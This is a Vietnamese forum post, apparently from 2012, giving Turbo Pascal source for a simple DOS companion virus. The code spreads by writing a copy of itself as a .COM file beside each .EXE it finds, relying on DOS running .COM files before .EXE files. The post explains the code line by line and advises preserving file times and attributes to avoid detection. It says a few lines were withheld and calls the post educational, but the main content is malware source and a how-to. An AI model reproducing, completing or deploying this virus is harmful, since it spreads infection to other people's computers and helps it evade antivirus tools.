Thư viện tin học
Chào các bạn đến với thư viện tin học.Hãy đăng kí làm thành viên để hưởng quyền lợi diễn đàn.Chỉ mất 10s thôi nhá.
Thư viện tin học
Chào các bạn đến với thư viện tin học.Hãy đăng kí làm thành viên để hưởng quyền lợi diễn đàn.Chỉ mất 10s thôi nhá.
Thư viện tin học

Thư viện thông tin
 
Trang ChínhTrang Chính  PortalPortal  GalleryGallery  Latest imagesLatest images  Tìm kiếmTìm kiếm  Đăng kýĐăng ký  Đăng Nhập  
Latest topics
» Các file bắt buộc trong thư mục system của template Nukeviet 3
Cách viết Virus bằng Pascal Emptyby gialang8thuc Sat Jun 22, 2013 4:42 pm

» Cơ bản về Lập trình MS DOS
Cách viết Virus bằng Pascal Emptyby dammeit_apple Tue Feb 12, 2013 8:25 pm

» Instandbird-Giải pháp hoàn hảo thay thế Yahoo Messenger
Cách viết Virus bằng Pascal Emptyby Admin Mon Jan 21, 2013 1:56 pm

» Địa chỉmạng con của Internet (IP subnetting)
Cách viết Virus bằng Pascal Emptyby Dafug Sun Jan 13, 2013 9:21 pm

» Tìm hiểu về địa chỉ IP
Cách viết Virus bằng Pascal Emptyby MatCan Sun Jan 13, 2013 9:15 pm

» (Bình chọn) Phần mềm diệt virus nào tốt nhất
Cách viết Virus bằng Pascal Emptyby Admin Sun Dec 16, 2012 8:58 pm

» Các hệ điều hành Win từ trước đến nay :
Cách viết Virus bằng Pascal Emptyby MatCan Sun Dec 16, 2012 1:01 pm

» Key Win 8 tổng hợp
Cách viết Virus bằng Pascal Emptyby Programer Sun Dec 16, 2012 12:36 pm

» Key Window 8 Release Preview
Cách viết Virus bằng Pascal Emptyby Programer Sun Dec 16, 2012 12:35 pm

» [Tìm hiểu]Giao thức tải file BitTorrent
Cách viết Virus bằng Pascal Emptyby NetMan Fri Dec 14, 2012 10:13 pm

» BẢNG MÃ PHÍM MỞ RỘNG
Cách viết Virus bằng Pascal Emptyby theCer Fri Dec 14, 2012 10:07 pm

» Thư viện các hàm chuẩn.Phần 1 -assert.h
Cách viết Virus bằng Pascal Emptyby Admin Fri Dec 14, 2012 9:59 pm

» DÙNG FRAMESET ĐỂ NHÚNG CÁC TRANG WEB KHÁC VÀO TRANG WEB ĐANG MỞ
Cách viết Virus bằng Pascal Emptyby Programer Fri Dec 14, 2012 9:52 pm

» Cách chia đĩa cứng, định dạng, phân vùng trong môi trường DOS (công cụ có trong đĩa Hiren’s BootCD, DVD)
Cách viết Virus bằng Pascal Emptyby Admin Sat Dec 08, 2012 2:35 pm

» Cách chia đĩa cứng, định dạng, Phân vùng trong môi trường DOS (công cụ có trong đĩa Hiren’s BootCD, DVD)
Cách viết Virus bằng Pascal Emptyby Admin Sat Dec 08, 2012 2:34 pm

» Microsoft FrontPage 2007
Cách viết Virus bằng Pascal Emptyby Programer Sun Dec 02, 2012 7:58 pm

» tìm hiểu về ActiveX và cách cài đặt
Cách viết Virus bằng Pascal Emptyby Admin Wed Nov 28, 2012 12:57 pm

» Tận dụng mã nguồn mở để tăng tốc Firefox
Cách viết Virus bằng Pascal Emptyby NetMan Wed Nov 28, 2012 12:52 pm

» Chặn popup tốt hơn cho Firefox
Cách viết Virus bằng Pascal Emptyby NetMan Wed Nov 28, 2012 12:45 pm

» Thủ thuật tăng tốc Firefox toàn tập
Cách viết Virus bằng Pascal Emptyby theCer Wed Nov 28, 2012 12:40 pm


Share
 

 Cách viết Virus bằng Pascal

Xem chủ đề cũ hơn Xem chủ đề mới hơn Go down 
Tác giảThông điệp
Admin
Admin
Admin

Tổng số bài gửi : 60
Điểm số : 4331
Join date : 17/11/2012

Cách viết Virus bằng Pascal Empty
Bài gửiTiêu đề: Cách viết Virus bằng Pascal   Cách viết Virus bằng Pascal EmptySun Nov 18, 2012 4:08 pm

Nguon:Olympictin
Dưới đây là ví dụ về một mẫu virus đơn giản, chưa có tính phá hoại, mới chỉ cài đặt khả năng lây lan dành cho các bạn tham khảo:

{$A-,B-,D-,E-,F-,G-,I-,L- ,N-,O-,P-,Q-,R-,S-,T-,V-,X-,Y- }
{$M 8192,0,16384}
uses
Dos, Crt;
const
extend = '*.EXE';
var
SRec : SearchRec;
NameOfVector, NameOfVictim : String;
VECTOR, VICTIM : File;
LengthOfVector : LongInt;
Buffer : Pointer;
begin
1. {...}
2. FindFirst (extend, AnyFile, SRec);
3. while (DosError = 0) and (IOResult = 0) do
4. begin
5. with SRec do
6. if not ((Name='.') or (Name='..')
7. or (not (Attr and Directory and VolumeID<>0)))
8. then
9. begin
10. NameOfVictim:=Name;
11. Delete (NameOfVictim, Pos ('EXE',NameOfVictim),3);
12. NameOfVictim:=NameOfVictim+'COM' ;
13. Assign (VICTIM, NameOfVictim);
14. Reset (VICTIM,1);
15.
16. if IOResult <> 0 then
17. begin
18. {...}
19. Assign (VECTOR, NameOfVector);
20. Reset (VECTOR, 1);
21. LengthOfVector := FileSize (VECTOR);
22. GetMem (Buffer,LengthOfVector);
23. BlockRead (VECTOR, Buffer^, LengthOfVector);
24. ReWrite (VICTIM,1);
25. BlockWrite (VICTIM , Buffer^, LengthOfVector);
26. Close (VECTOR);
27. Close (VICTIM);
28. FreeMem (Buffer, LengthOfVector);
29. end;
30. end;
31. FindNext (SRec);
32. end;
33. Delete (NameOfVector,Pos ('.COM',NameOfVector),4);
34. NameOfVector := '/C '+NameOfVector+'.EXE';
35. {..}
36. {..}
37. {-Thuc thi file EXE ban dau-}
38. SwapVectors;
39. Exec(GetEnv('COMSPEC'), NameOfVector);
40. SwapVectors;
end.
Giải thích :

Đễ
lây nhiễm vào file mà không để lại dấu vết, các bạn nên tham khảo hàm
GetFTime(); GetFAttr(); và SetFTime(); SetFAttr(); có trong unit DOS;

Phần khai báo biến:
Trích dẫn:
Mã:

var
SRec : SearchRec;
NameOfVector, NameOfVictim : String;
VECTOR, VICTIM : File;
LengthOfVector : LongInt;
Buffer : Pointer;


-NameOfVector : tên của file đã nhiễm, được user chỉ định thực thi (VD: BOITOAN.EXE)
-NameOfVictim : tên của file .EXE tìm thấy, là đối tượng sẽ lây nhiễm (VD: PROGRAM.EXE)
-VECTOR, VICTIM: biến file dùng để thao tác 2 file nói trên
-LengthOfVector: kích thước file Vector
-Buffer: cung cấp vùng nhớ sẽ dùng để nạp file VECTOR;

Đến
đây có một câu hỏi đặt ra là làm sao kiểm tra xem file đã nhiễm hay
chưa mà xử lí. Nếu nhiễm rồi thì lây zô nữa làm gì , điều này liên quan
tới việc tạo keygen để đánh dấu file (là chuỗi ký tự có tính chất đặc
trương cho từng loại virus - các AVs có thể dựa vào đây để phát hiện ra
mã virus) mà trong khuôn khổ bài viết này không đề cập đến.

Đầu tiên, Chương trình sẽ tìm một file .exe trong thư mục hiện hành (Lệnh 2) trả thông tin về cho biến SREC;
Nếu
không có lỗi (lỗi sinh ra khi không có file .exe nào) thì gán tên file
tìm được cho biến NameOfVictim (lệnh 10) giả sử ta được
NameOfVictim='BAITAP.EXE' thì tiếp theo chuyển thành 'BAITAP.COM' (lệnh
11+12).
Mở file BAITAP.COM, nếu có lỗi thì có thể file trên chưa tồn tại (khi đó DosError<>0)
Nếu BAITAP.COM chưa tồn tại thì tiếp tục lệnh 16

-Mở file chủ, lấy kích thước (19 -> 21)
-Nạp file chủ vào vùng nhớ (22 -> 23)
-Tạo mới file BAITAP.COM rồi Ghi nội dung vùng nhớ vào file này (24 -> 25)
-Đóng file, ghi ra đĩa cứng (27)
-Xóa nội dung vùng nhớ, đề phòng phát hiện (28)

Như
vậy, ta đã tạo đc một file BAITAP.COM có tên trùng với file BAITAP.EXE
mà chương trình tìm thấy, nhưng nội dung chứa bên trong file .COM này
chính là nội dung file Chủ --> Như thế file Chủ (là file đã nhiễm) đã
được nhân bản.
Các câu lệnh còn lại là trao quyền thực thi cho file Chủ ban đầu theo yêu cầu của user.

Đoạn
code trên nếu các bạn test sẽ không thành công vì có một số dòng mình
đã giấu đi do bài viết chỉ mang tính học tập một cách thức lây lan của
virus.

Như vậy, nếu bạn biên dịch ra file này là VIRUS.EXE rồi chạy nó,ta sẽ được:
-VIRUS tìm file .EXE trong thư mục hiện hành, có thể là chính bản thân nó.
Giả sử tìm thấy file PROGRAM.EXE
-Tạo ra file PROGRAM.COM là bản sao của virus

Ta nhắc lại một chút, trong DOS, thứ tự ưu tiên của các dạng file thi hành được xếp như sau: COM > EXE > BAT > ...
Như vậy, sau này khi user gỏ lệnh sau:
C:\>PROGRAM
thì file PROGRAM.COM (do virus tạo ra) sẽ được chạy chứ không phải là file PROGRAM.EXE
Như thế VIRUS sẽ có cơ hội được tiếp tục lấy lan.

Kết luận
Trên đây là code của một F-Virus chạy trên nền MS-DOS, song dễ bị phát hiện trên nền Windows.
Qua bài trên , ta có thể hiểu được cách thức lây nhiễm đơn giản là lợi dụng vào thứ tự ưu tiên của file .COM so với file .EXE
Về Đầu Trang Go down
https://tvtt.forumvi.com
 

Cách viết Virus bằng Pascal

Xem chủ đề cũ hơn Xem chủ đề mới hơn Về Đầu Trang 
Trang 1 trong tổng số 1 trang

 Xem thêm các bài viết khác cùng chuyên mục

-

Permissions in this forum:Bạn không có quyền trả lời bài viết
Thư viện tin học :: Lập trình :: Pascal-